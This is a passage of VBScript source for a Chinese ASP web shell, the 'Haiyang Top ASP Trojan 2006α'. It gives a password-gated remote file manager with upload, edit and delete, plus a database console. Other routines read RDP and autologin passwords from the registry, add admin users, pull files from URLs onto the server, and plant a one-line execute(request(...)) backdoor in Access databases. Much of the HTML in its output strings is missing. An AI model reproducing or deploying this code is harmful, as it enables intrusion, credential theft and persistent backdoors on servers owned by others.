"
echo "Powered By Marcos 2005.02"
Err.Clear
Response.End
End If
End Sub
Sub echo(str)
Response.Write(str)
End Sub
Sub isIn()
If pageName <> "" And PageName <> "login" And PageName <> showLogin Then
If Session(m & "userPassword") <> userPassword Then
Response.End
End If
End If
End Sub
Sub showTitle(str)
echo "" & str & " - 海陽頂端網ASP木馬2006α - By Marcos & LCX" & vbNewLine
echo "" & vbNewLine
echo "" & vbNewLine
echo "" & vbNewLine
echo "" & vbNewLine
PageOther()
End Sub
Function fixNull(str)
If IsNull(str) Then
str = " "
End If
fixNull = str
End Function
Function encode(str)
str = Server.HTMLEncode(str)
str = Replace(str, vbNewLine, " ")
str = Replace(str, " ", " ")
str = Replace(str, " ", " ")
encode = str
End Function
Function getTheSize(theSize)
If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"
If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"
If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"
If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"
End Function
Sub showExecuteTime()
Response.Write "" & (Timer() - sTime) * 1000 & " ms"
End Sub
Function HtmlEncode(str)
If isNull(str) Then
Exit Function
End If
HtmlEncode = Server.HTMLEncode(str)
End Function
Function UrlEncode(str)
If isNull(str) Then
Exit Function
End If
UrlEncode = Server.UrlEncode(str)
End Function
Sub redirectTo(strUrl)
Response.Redirect(Request.ServerVariables("URL") & strUrl)
End Sub
Function trimThePath(strPath)
If Right(strPath, 1) = "\" And Len(strPath) > 3 Then
strPath = Left(strPath, Len(strPath) - 1)
End If
trimThePath = strPath
End Function
Sub alertThenClose(strInfo)
Response.Write ""
End Sub
Sub showErr(str)
Dim i, arrayStr
str = Server.HtmlEncode(str)
arrayStr = Split(str, "$$")
' Response.Clear
echo ""
echo "出錯信息:
"
For i = 0 To UBound(arrayStr)
echo " " & (i + 1) & ". " & arrayStr(i) & " "
Next
echo ""
Response.End
End Sub
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 下面是程序模塊選擇部分
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
isIn()
Select Case pageName
Case showLogin, "login"
PageLogin()
Case "PageList"
PageList()
Case "objOnSrv"
PageObjOnSrv()
Case "ServiceList"
PageServiceList()
Case "userList"
PageUserList()
Case "CSInfo"
PageCSInfo()
Case "infoAboutSrv"
PageInfoAboutSrv()
Case "AppFileExplorer"
PageAppFileExplorer()
Case "SaCmdRun"
PageSaCmdRun()
Case "WsCmdRun"
PageWsCmdRun()
Case "FsoFileExplorer"
PageFsoFileExplorer()
Case "MsDataBase"
PageMsDataBase()
Case "OtherTools"
PageOtherTools()
Case "TxtSearcher"
PageTxtSearcher()
End Select
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Rem 下面是各獨立功能模塊
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Sub PageAppFileExplorer()
Response.Buffer = True
Dim strExtName, thePath, objFolder, objMember, strDetails, strPath, strNewName
Dim intI, theAct, strFolderList, strFileList, strFilePath, strFileName, strParentPath
showTitle("Shell.Application文件瀏覽器(&stream)")
theAct = Request("theAct")
strNewName = Request("newName")
thePath = Replace(LTrim(Request("thePath")), "\\", "\")
If theAct <> "upload" Then
If Request.Form.Count > 0 Then
theAct = Request.Form("theAct")
thePath = Replace(LTrim(Request.Form("thePath")), "\\", "\")
End If
End If
echo ""
Select Case theAct
Case "openUrl"
openUrl(thePath)
Case "showEdit"
Call showEdit(thePath, "stream")
Case "saveFile"
Call saveToFile(thePath, "stream")
Case "copyOne", "cutOne"
If thePath = "" Then
alertThenClose("參數錯誤!")
Response.End
End If
Session(m & "appThePath") = thePath
Session(m & "appTheAct") = theAct
alertThenClose("操作成功,請粘貼!")
Case "pastOne"
appDoPastOne(thePath)
alertThenClose("粘貼成功,請刷新本頁查看效果!")
Case "rename"
appRenameOne(thePath)
Case "downTheFile"
downTheFile(thePath)
Case "theAttributes"
appTheAttributes(thePath)
Case "showUpload"
Call showUpload(thePath, "AppFileExplorer")
Case "upload"
streamUpload(thePath)
Call showUpload(thePath, "AppFileExplorer")
End Select
If theAct <> "" Then
Response.End
End If
Set objFolder = sa.NameSpace(thePath)
If Request.Form.Count > 0 Then
redirectTo("?pageName=AppFileExplorer&thePath=" & UrlEncode(thePath))
End If
echo ""
echo ""
echo "
"
echo ""
For Each objMember In objFolder.Items
intI = intI + 1
If intI > 200 Then
intI = 0
Response.Flush()
End If
If objMember.IsFolder = True Then
If Left(objMember.Path, 2) = "::" Then
strPath = URLEncode(objMember.Path)
Else
strPath = URLEncode(objMember.Path) & "%5C"
End If
strFolderList = strFolderList & "0 " & objMember.Name & ""
Else
strDetails = objFolder.GetDetailsOf(objMember, -1)
strFilePath = objMember.Path
strFileName = Mid(strFilePath, InStrRev(strFilePath, "\") + 1)
strExtName = Split(strFileName, ".")(UBound(Split(strFileName, ".")))
strFileList = strFileList & " " & strFileName & ""
End If
Next
strParentPath = getParentPath(thePath)
If thePath <> "" And Left(thePath, 2) <> "::" Then
strFolderList = "0 .." & strFolderList
End If
echo "
"
echo strFolderList & strFileList
echo "
"
echo "Powered By Marcos 2005.02"
Set objFolder = Nothing
End Sub
Function getParentPath(strPath)
If Right(strPath, 1) = "\" Then
strPath = Left(strPath, Len(strPath) - 1)
End If
If Len(strPath) = 2 Then
getParentPath = " "
Else
getParentPath = Left(strPath, InStrRev(strPath, "\"))
End If
End Function
Function streamSaveToFile(thePath, fileContent)
Dim stream
If isDebugMode = False Then
On Error Resume Next
End If
Set stream = Server.CreateObject("adodb.stream")
With stream
.Type=2
.Mode=3
.Open
chkErr(Err)
.Charset="gb2312"
.WriteText fileContent
.saveToFile thePath, 2
.Close
End With
Set stream = Nothing
End Function
Sub appDoPastOne(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim strAct, strPath
dim objTargetFolder
strAct = Session(m & "appTheAct")
strPath = Session(m & "appThePath")
If strAct = "" Or strPath = "" Then
alertThenClose("參數錯誤,粘貼前請先復制/剪切!")
Exit Sub
End If
If InStr(LCase(thePath), LCase(strPath)) > 0 Then
alertThenClose("目標文件夾在源文件夾內,非法操作!")
Exit Sub
End If
strPath = trimThePath(strPath)
thePath = trimThePath(thePath)
Set objTargetFolder = sa.NameSpace(thePath)
If strAct = "copyOne" Then
objTargetFolder.CopyHere(strPath)
Else
objTargetFolder.MoveHere(strPath)
End If
chkErr(Err)
Set objTargetFolder = Nothing
End Sub
Sub appTheAttributes(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim i, strSth, objFolder, objItem, strModifyDate
strModifyDate = Request("ModifyDate")
thePath = trimThePath(thePath)
If thePath = "" Then
alertThenClose("沒有選擇任何文件(夾)!")
Exit Sub
End If
strSth = Left(thePath, InStrRev(thePath, "\"))
Set objFolder = sa.NameSpace(strSth)
chkErr(Err)
strSth = Split(thePath, "\")(UBound(Split(thePath, "\")))
Set objItem = objFolder.ParseName(strSth)
chkErr(Err)
If isDate(strModifyDate) Then
objItem.ModifyDate = strModifyDate
alertThenClose("修改成功!")
Set objItem = Nothing
Set objFolder = Nothing
Exit Sub
End If
' strSth = objFolder.GetDetailsOf(objItem, -1)
' strSth = Replace(strSth, chr(10), " ")
For i = 1 To 8
strSth = strSth & " 屬性(" & i & "): " & objFolder.GetDetailsOf(objItem, i)
Next
strSth = Replace(strSth, "屬性(1)", "大小")
strSth = Replace(strSth, "屬性(2)", "類型")
strSth = Replace(strSth, "屬性(3)", "最后修改")
strSth = Replace(strSth, "屬性(8)", "所有者")
strSth = strSth & ""
echo strSth
Set objItem = Nothing
Set objFolder = Nothing
End Sub
Sub appRenameOne(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim strSth, fileName, objItem, objFolder
fileName = Request("fileName")
thePath = trimThePath(thePath)
strSth = Left(thePath, InStrRev(thePath, "\"))
Set objFolder = sa.NameSpace(strSth)
chkErr(Err)
strSth = Split(thePath, "\")(UBound(Split(thePath, "\")))
Set objItem = objFolder.ParseName(strSth)
chkErr(Err)
strSth = Split(thePath, ".")(UBound(Split(thePath, ".")))
If fileName <> "" Then
objItem.Name = fileName
chkErr(Err)
alertThenClose("重命名成功,刷新本頁可以看到效果!")
Set objItem = Nothing
Set objFolder = Nothing
Exit Sub
End If
echo ""
Set objItem = Nothing
Set objFolder = Nothing
End Sub
Sub PageCSInfo()
If isDebugMode = False Then
On Error Resume Next
End If
Dim strKey, strVar, strVariable
showTitle("客戶端服務器交互信息")
echo "ServerVariables:"
echo ""
For Each strVariable In Request.ServerVariables
echo "
"
Next
echo ""
echo " Cookies:"
echo ""
For Each strVariable In Request.Cookies
If Request.Cookies(strVariable).HasKeys Then
For Each strKey In Request.Cookies(strVariable)
echo "
"
End If
Next
echo "Powered By Marcos 2005.02"
End Sub
Sub PageFsoFileExplorer()
If isDebugMode = False Then
On Error Resume Next
End If
Response.Buffer = True
Dim file, drive, folder, theFiles, theFolder, theFolders
Dim i, theAct, strTmp, driveStr, thePath, parentFolderName
theAct = Request("theAct")
thePath = Request("thePath")
If theAct <> "upload" Then
If Request.Form.Count > 0 Then
theAct = Request.Form("theAct")
thePath = Request.Form("thePath")
End If
End If
showTitle("FSO文件瀏覽器(&stream)")
Select Case theAct
Case "newOne", "doNewOne"
fsoNewOne(thePath)
Case "showEdit"
Call showEdit(thePath, "fso")
Case "saveFile"
Call saveToFile(thePath, "fso")
Case "openUrl"
openUrl(thePath)
Case "copyOne", "cutOne"
If thePath = "" Then
alertThenClose("參數錯誤!")
Response.End
End If
Session(m & "fsoThePath") = thePath
Session(m & "fsoTheAct") = theAct
alertThenClose("操作成功,請粘貼!")
Case "pastOne"
fsoPastOne(thePath)
alertThenClose("粘貼成功,請刷新本頁查看效果!")
Case "showFsoRename"
showFsoRename(thePath)
Case "doRename"
Call fsoRename(thePath)
alertThenClose("重命名成功,刷新后可以看到效果!")
Case "delOne", "doDelOne"
showFsoDelOne(thePath)
Case "getAttributes", "doModifyAttributes"
fsoTheAttributes(thePath)
Case "downTheFile"
downTheFile(thePath)
Case "showUpload"
Call showUpload(thePath, "FsoFileExplorer")
Case "upload"
streamUpload(thePath)
Call showUpload(thePath, "FsoFileExplorer")
End Select
If theAct <> "" Then
Response.End
End If
If Request.Form.Count > 0 Then
redirectTo("?pageName=FsoFileExplorer&thePath=" & UrlEncode(thePath))
End If
parentFolderName = fso.GetParentFolderName(thePath)
echo "
"
echo ""
If fso.FolderExists(thePath) = False Then
showErr(thePath & " 目錄不存在或者不允許訪問!")
End If
Set theFolder = fso.GetFolder(thePath)
Set theFiles = theFolder.Files
Set theFolders = theFolder.SubFolders
echo "
"
For Each folder In theFolders
i = i + 1
If i > 50 Then
i = 0
Response.Flush()
End If
strTmp = UrlEncode(folder.Path & "\")
echo "0 " & folder.Name & "" & vbNewLine
Next
Response.Flush()
For Each file In theFiles
i = i + 1
If i > 100 Then
i = 0
Response.Flush()
End If
echo " " & file.Name & "" & vbNewLine
Next
echo "
"
chkErr(Err)
echo "Powered By Marcos 2005.02"
End Sub
Sub fsoNewOne(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim theAct, isFile, theName, newAct
isFile = Request("isFile")
newAct = Request("newAct")
theName = Request("theName")
If newAct = " 確定 " Then
thePath = Replace(thePath & "\" & theName, "\\", "\")
If isFile = "True" Then
Call fso.CreateTextFile(thePath, False)
Else
fso.CreateFolder(thePath)
End If
chkErr(Err)
alertThenClose("文件(夾)新建成功,刷新后就可以看到效果!")
Response.End
End If
echo ""
echo ""
echo ""
echo " "
End Sub
Sub fsoPastOne(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim sessionPath
sessionPath = Session(m & "fsoThePath")
If thePath = "" Or sessionPath = "" Then
alertThenClose("參數錯誤!")
Response.End
End If
If Right(thePath, 1) = "\" Then
thePath = Left(thePath, Len(thePath) - 1)
End If
If Right(sessionPath, 1) = "\" Then
sessionPath = Left(sessionPath, Len(sessionPath) - 1)
If Session(m & "fsoTheAct") = "cutOne" Then
Call fso.MoveFolder(sessionPath, thePath & "\" & fso.GetFileName(sessionPath))
Else
Call fso.CopyFolder(sessionPath, thePath & "\" & fso.GetFileName(sessionPath))
End If
Else
If Session(m & "fsoTheAct") = "cutOne" Then
Call fso.MoveFile(sessionPath, thePath & "\" & fso.GetFileName(sessionPath))
Else
Call fso.CopyFile(sessionPath, thePath & "\" & fso.GetFileName(sessionPath))
End If
End If
chkErr(Err)
End Sub
Sub fsoRename(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim theFile, fileName, theFolder
fileName = Request("fileName")
If thePath = "" Or fileName = "" Then
alertThenClose("參數錯誤!")
Response.End
End If
If Right(thePath, 1) = "\" Then
Set theFolder = fso.GetFolder(thePath)
theFolder.Name = fileName
Set theFolder = Nothing
Else
Set theFile = fso.GetFile(thePath)
theFile.Name = fileName
Set theFile = Nothing
End If
chkErr(Err)
End Sub
Sub showFsoRename(thePath)
Dim theAct, fileName
fileName = fso.getFileName(thePath)
echo ""
echo ""
echo ""
echo " "
End Sub
Sub showFsoDelOne(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim newAct, theFile
newAct = Request("newAct")
If newAct = "確認刪除?" Then
If Right(thePath, 1) = "\" Then
thePath = Left(thePath, Len(thePath) - 1)
Call fso.DeleteFolder(thePath, True)
Else
Call fso.DeleteFile(thePath, True)
End If
chkErr(Err)
alertThenClose("文件(夾)刪除成功,刷新后就可以看到效果!")
Response.End
End If
echo ""
echo ""
End Sub
Sub fsoTheAttributes(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Dim newAct, theFile, theFolder, theTitle
newAct = Request("newAct")
If Right(thePath, 1) = "\" Then
Set theFolder = fso.GetFolder(thePath)
If newAct = " 修改 " Then
setMyTitle(theFolder)
End If
theTitle = getMyTitle(theFolder)
Set theFolder = Nothing
Else
Set theFile = fso.GetFile(thePath)
If newAct = " 修改 " Then
setMyTitle(theFile)
End If
theTitle = getMyTitle(theFile)
Set theFile = Nothing
End If
chkErr(Err)
theTitle = Replace(theTitle, vbNewLine, " ")
echo ""
echo ""
End Sub
Function getMyTitle(theOne)
If isDebugMode = False Then
On Error Resume Next
End If
Dim strTitle
strTitle = strTitle & "路徑: "" & theOne.Path & """ & vbNewLine
strTitle = strTitle & "大小: " & getTheSize(theOne.Size) & vbNewLine
strTitle = strTitle & "屬性: " & getAttributes(theOne.Attributes) & vbNewLine
strTitle = strTitle & "創建時間: " & theOne.DateCreated & vbNewLine
strTitle = strTitle & "最后修改: " & theOne.DateLastModified & vbNewLine
strTitle = strTitle & "最后訪問: " & theOne.DateLastAccessed
getMyTitle = strTitle
End Function
Sub setMyTitle(theOne)
Dim i, myAttributes
For i = 1 To Request("attributes").Count
myAttributes = myAttributes + CInt(Request("attributes")(i))
Next
theOne.Attributes = myAttributes
chkErr(Err)
echo ""
End Sub
Function getAttributes(intValue)
Dim strAtt
strAtt = "系統 "
strAtt = strAtt & "隱藏 "
strAtt = strAtt & "只讀 "
strAtt = strAtt & "存檔 "
strAtt = strAtt & "普通 "
strAtt = strAtt & "壓縮 "
strAtt = strAtt & "文件夾 "
strAtt = strAtt & "快捷方式"
' strAtt = strAtt & "卷標 "
If intValue = 0 Then
strAtt = Replace(strAtt, "{$normal}", "checked")
End If
If intValue >= 128 Then
intValue = intValue - 128
strAtt = Replace(strAtt, "{$compressed}", "checked")
End If
If intValue >= 64 Then
intValue = intValue - 64
strAtt = Replace(strAtt, "{$alias}", "checked")
End If
If intValue >= 32 Then
intValue = intValue - 32
strAtt = Replace(strAtt, "{$archive}", "checked")
End If
If intValue >= 16 Then
intValue = intValue - 16
strAtt = Replace(strAtt, "{$directory}", "checked")
End If
If intValue >= 8 Then
intValue = intValue - 8
strAtt = Replace(strAtt, "{$volume}", "checked")
End If
If intValue >= 4 Then
intValue = intValue - 4
strAtt = Replace(strAtt, "{$system}", "checked")
End If
If intValue >= 2 Then
intValue = intValue - 2
strAtt = Replace(strAtt, "{$hidden}", "checked")
End If
If intValue >= 1 Then
intValue = intValue - 1
strAtt = Replace(strAtt, "{$readonly}", "checked")
End If
getAttributes = strAtt
End Function
Sub PageInfoAboutSrv()
Dim theAct
theAct = Request("theAct")
showTitle("服務器相關數據")
Select Case theAct
Case ""
getSrvInfo()
getSrvDrvInfo()
getSiteRootInfo()
getTerminalInfo()
Case "getSrvInfo"
getSrvInfo()
Case "getSrvDrvInfo"
getSrvDrvInfo()
Case "getSiteRootInfo"
getSiteRootInfo()
Case "getTerminalInfo"
getTerminalInfo()
End Select
echo "Powered By Marcos 2005.02"
End Sub
Sub getSrvInfo()
If isDebugMode = False Then
On Error Resume Next
End If
Dim i, sa, objWshSysEnv, aryExEnvList, strExEnvList, intCpuNum, strCpuInfo, strOS
Set sa = Server.CreateObject("Shell.Application")
strExEnvList = "SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _
"PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"
aryExEnvList = Split(strExEnvList, "$")
Set objWshSysEnv = ws.Environment("SYSTEM")
chkErr(Err)
intCpuNum = Request.ServerVariables("NUMBER_OF_PROCESSORS")
If IsNull(intCpuNum) Or intCpuNum = "" Then
intCpuNum = objWshSysEnv("NUMBER_OF_PROCESSORS")
End If
strOS = Request.ServerVariables("OS")
If IsNull(strOS) Or strOS = "" Then
strOS = objWshSysEnv("OS")
strOs = strOs & "(有可能是 Windows2003 哦)"
End If
strCpuInfo = objWshSysEnv("PROCESSOR_IDENTIFIER")
echo "服務器相關參數:"
echo ""
echo "
"
Next
echo ""
Set sa = Nothing
Set objWshSysEnv = Nothing
End Sub
Sub getSrvDrvInfo()
If isDebugMode = False Then
On Error Resume Next
End If
Dim objTheDrive
echo " 服務器磁盤信息:"
echo ""
echo "
"
echo "盤符類型卷標文件系統可用空間總空間 "
For Each objTheDrive In fso.Drives
echo "" & objTheDrive.DriveLetter & ""
echo "" & getDriveType(objTheDrive.DriveType) & ""
If UCase(objTheDrive.DriveLetter) = "A" Then
echo " "
Else
echo "" & objTheDrive.VolumeName & ""
echo "" & objTheDrive.FileSystem & ""
echo "" & getTheSize(objTheDrive.FreeSpace) & ""
echo "" & getTheSize(objTheDrive.TotalSize) & " "
End If
If Err Then
Err.Clear
echo " "
End If
Next
echo "
"
Set objTheDrive = Nothing
End Sub
Sub getSiteRootInfo()
If isDebugMode = False Then
On Error Resume Next
End If
Dim objTheFolder
Set objTheFolder = fso.GetFolder(Server.MapPath("/"))
echo " 站點根目錄信息:"
echo ""
echo "
物理路徑: " & Server.MapPath("/") & "
"
echo "
當前大小: " & getTheSize(objTheFolder.Size) & "
"
echo "
文件數: " & objTheFolder.Files.Count & "
"
echo "
文件夾數: " & objTheFolder.SubFolders.Count & "
"
echo "
創建日期: " & objTheFolder.DateCreated & "
"
echo "
最后訪問日期: " & objTheFolder.DateLastAccessed & "
"
echo ""
End Sub
Sub getTerminalInfo()
If isDebugMode = False Then
On Error Resume Next
End If
Dim terminalPortPath, terminalPortKey, termPort
Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword
terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
terminalPortKey = "PortNumber"
termPort = ws.RegRead(terminalPortPath & terminalPortKey)
echo "終端服務端口及自動登錄信息"
If termPort = "" Or Err.Number <> 0 Then
echo "無法得到終端服務端口, 請檢查權限是否已經受到限制. "
Else
echo "當前終端服務端口: " & termPort & " "
End If
autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
autoLoginEnableKey = "AutoAdminLogon"
autoLoginUserKey = "DefaultUserName"
autoLoginPassKey = "DefaultPassword"
isAutoLoginEnable = ws.RegRead(autoLoginPath & autoLoginEnableKey)
If isAutoLoginEnable = 0 Then
echo "系統自動登錄功能未開啟 "
Else
autoLoginUsername = ws.RegRead(autoLoginPath & autoLoginUserKey)
echo "自動登錄的系統帳戶: " & autoLoginUsername & " "
autoLoginPassword = ws.RegRead(autoLoginPath & autoLoginPassKey)
If Err Then
Err.Clear
echo "False"
End If
echo "自動登錄的帳戶密碼: " & autoLoginPassword & " "
End If
echo ""
End Sub
Sub PageLogin()
Dim theAct, passWord
theAct = Request("theAct")
passWord = Request("userPassword")
showTitle("管理登錄")
If theAct = "chkLogin" Then
If passWord = userPassword Then
Session(m & "userPassword") = passWord
redirectTo("?pageName=PageList")
Else
echo ""
End If
End If
echo ""
echo "海陽頂端網ASP木馬@2006α"
echo ""
echo ""
echo ""
End Sub
Sub pageMsDataBase()
Dim theAct, sqlStr
theAct = Request("theAct")
sqlStr = Request("sqlStr")
showTitle("mdb+mssql數據庫操作頁")
If sqlStr = "" Then
If Session(m & "sqlStr") = "" Then
sqlStr = "e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;"
Else
sqlStr = Session(m & "sqlStr")
End If
End If
Session(m & "sqlStr") = sqlStr
echo ""
echo ""
echo "注: 插入只針對ACCESS操作, 要瀏覽ACCESS在表單中的寫法是""d:\bbs.mdb"", SQL據庫寫法是""sql:連接字符串"", 不要忘寫sql:。"
Select Case theAct
Case "showTables"
showTables()
Case "query"
showQuery()
Case "inject"
accessInject()
End Select
echo "Powered By Marcos 2005.02"
End Sub
Sub showTables()
If isDebugMode = False Then
On Error Resume Next
End If
Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr
sqlStr = Request("sqlStr")
If LCase(Left(sqlStr, 4)) = "sql:" Then
connStr = Mid(sqlStr, 5)
Else
connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
End If
Set conn = Server.CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
tablesStr = getTableList(conn, sqlStr, rsTable)
echo "數據庫表結構查看: "
echo tablesStr & ""
echo "轉到SQL命令執行"
Do Until rsTable.Eof
Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value))
echo "
" & rsTable("Table_Name") & "
"
echo "
"
echo "
字段名
類型
大小
精度
允許為空
默認值
"
echo "
"
Do Until rsColumn.Eof
echo "
"
echo "
" & rsColumn("Column_Name") & "
"
echo "
" & getDataType(rsColumn("Data_Type")) & "
"
echo "
" & rsColumn("Character_Maximum_Length") & "
"
echo "
" & rsColumn("Numeric_Precision") & "
"
echo "
" & rsColumn("Is_Nullable") & "
"
echo "
" & rsColumn("Column_Default") & "
"
echo "
"
rsColumn.MoveNext
Loop
echo "
"
rsTable.MoveNext
Loop
echo ""
conn.Close
Set conn = Nothing
Set rsTable = Nothing
Set rsColumn = Nothing
End Sub
Sub showQuery()
If isDebugMode = False Then
On Error Resume Next
End If
Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable
sql = Request("sql")
page = Request("page")
sqlStr = Request("sqlStr")
theTable = Request("theTable")
If Not IsNumeric(page) or page = "" Then
page = 1
End If
If sql = "" And theTable <> "" Then
sql = "Select top 10 * from [" & theTable & "]"
End If
If LCase(Left(sqlStr, 4)) = "sql:" Then
connStr = Mid(sqlStr, 5)
Else
connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
End If
Set rs = Server.CreateObject("Adodb.RecordSet")
Set conn = Server.CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
tablesStr = getTableList(conn, sqlStr, rsTable)
echo "數據庫表結構查看: "
echo tablesStr & ""
echo "SQL命令執行及查看"
echo " "
conn.Close
Set rs = Nothing
Set conn = Nothing
Set rsTable = Nothing
End Sub
Function getDataType(typeId)
Select Case typeId
Case 130
getDataType = "文本"
Case 2
getDataType = "整型"
Case 3
getDataType = "長整型"
Case 7
getDataType = "日期/時間"
Case 5
getDataType = "雙精度型"
Case 11
getDataType = "是/否"
Case 128
getDataType = "OLE 對象"
Case Else
getDataType = typeId
End Select
End Function
Sub accessInject()
If isDebugMode = False Then
On Error Resume Next
End If
Dim rs, conn, sqlStr, connStr
sqlStr = Request("sqlStr")
If LCase(Left(sqlStr, 4)) = "sql:" Then
showErr("插入只對ACCESS數據庫有效!")
Else
connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
End If
Set rs = Server.CreateObject("Adodb.RecordSet")
Set conn = Server.CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
If notdownloadsExists = True Then
conn.Execute("drop table notdownloads")
End If
conn.Execute("create table notdownloads(notdownloads oleobject)")
rs.Open "notdownloads", conn, 1, 3
rs.AddNew
rs("notdownloads").AppendChunk(ChrB(Asc("<")) & ChrB(Asc("%")) & ChrB(Asc("e")) & ChrB(Asc("x")) & ChrB(Asc("e")) & ChrB(Asc("c")) & ChrB(Asc("u")) & ChrB(Asc("t")) & ChrB(Asc("e")) & ChrB(Asc("(")) & ChrB(Asc("r")) & ChrB(Asc("e")) & ChrB(Asc("q")) & ChrB(Asc("u")) & ChrB(Asc("e")) & ChrB(Asc("s")) & ChrB(Asc("t")) & ChrB(Asc("(")) & ChrB(Asc("""")) & ChrB(Asc(clientPassword)) & ChrB(Asc("""")) & ChrB(Asc(")")) & ChrB(Asc(")")) & ChrB(Asc("%")) & ChrB(Asc(">")) & ChrB(Asc(" ")))
rs.Update
rs.Close
echo ""
conn.Close
Set rs = Nothing
Set conn = Nothing
End Sub
Function getTableList(conn, sqlStr, rsTable)
Set rsTable = conn.OpenSchema(20, Array(Empty, Empty, Empty, "table"))
Do Until rsTable.Eof
getTableList = getTableList & "[" & rsTable("Table_Name") & "] "
rsTable.MoveNext
Loop
rsTable.MoveFirst
End Function
Sub PageObjOnSrv()
Dim i, objTmp, txtObjInfo, strObjectList, strDscList
txtObjInfo = Trim(Request("txtObjInfo"))
strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _
"IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _
"Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _
"IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _
"Scripting.FileSystemObject,Adodb.Stream,Shell.Application,WScript.Shell,Wscript.Network"
strDscList = "廣告輪換,瀏覽器信息,內容鏈接庫,,,計數器,內容輪顯,,權限檢測,ADO 數據對象,SA-FileUp 文件上傳,SoftArtisans 文件管理," & _
"劉云峰的文件上傳組件,ASPUpload 文件上傳,Dimac 文件上傳,Dimac JMail 郵件收發,虛擬 SMTP 發信,ASPemail 發信,ASPmail 發信,dkQmail 發信," & _
"Geocel 發信,IISmail 發信,SmtpMail 發信,SA 的圖像讀寫,Dimac 的圖像讀寫組件," & _
"FSO,Stream 流,,,"
aryObjectList = Split(strObjectList, ",")
aryDscList = Split(strDscList, ",")
showTitle("服務器組件支持情況檢測")
echo "其他組件支持情況檢測 "
echo "在下面的輸入框中輸入你要檢測的組件的ProgId或ClassId。 "
echo ""
If Request("theAct") = "我要檢測" And txtObjInfo <> "" Then
Call getObjInfo(txtObjInfo, "")
End If
echo ""
echo "組件名稱 支持及其它"
For i = 0 To UBound(aryDscList)
Call getObjInfo(aryObjectList(i), aryDscList(i))
Next
echo "Powered By Marcos 2005.02"
End Sub
Sub getObjInfo(strObjInfo, strDscInfo)
Dim objTmp
If isDebugMode = False Then
On Error Resume Next
End If
echo "
" & strObjInfo
If strDscInfo <> "" Then
echo " (" & strDscInfo & "組件)"
End If
echo " "
Set objTmp = Server.CreateObject(strObjInfo)
If Err <> -2147221005 Then
echo "√ "
echo "Version: " & objTmp.Version & "; "
echo "About: " & objTmp.About
Else
echo "℅"
End If
echo "
"
If Err Then
Err.Clear
End If
Set objTmp = Nothing
End Sub
Sub PageOtherTools()
Dim theAct
theAct = Request("theAct")
showTitle("一些零碎的小東西")
Select Case theAct
Case "downFromUrl"
downFromUrl()
Response.End
Case "addUser"
AddUser Request("userName"), Request("passWord")
Response.End
Case "readReg"
readReg()
Response.End
End Select
echo "數制轉換:"
echo ""
echo ""
echo ""
echo ""
echo ""
echo "下載到服務器:"
echo ""
echo ""
echo "文件編輯:"
echo ""
echo "管理帳號添加(成功率極低):"
echo ""
echo "注冊表鍵值讀取(資料):"
echo ""
echo "" & vbNewLine
echo "Powered By Marcos 2005.02"
End Sub
Sub downFromUrl()
If isDebugMode = False Then
On Error Resume Next
End If
Dim Http, theUrl, thePath, stream, fileName, overWrite
theUrl = Request("theUrl")
thePath = Request("thePath")
overWrite = Request("overWrite")
Set stream = Server.CreateObject("Adodb.Stream")
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If overWrite <> 2 Then
overWrite = 1
End If
Http.Open "GET", theUrl, False
Http.Send()
If Http.ReadyState <> 4 Then
Exit Sub
End If
With stream
.Type = 1
.Mode = 3
.Open
.Write Http.ResponseBody
.Position = 0
.SaveToFile thePath, overWrite
If Err.Number = 3004 Then
Err.Clear
fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
If fileName = "" Then
fileName = "index.htm.txt"
End If
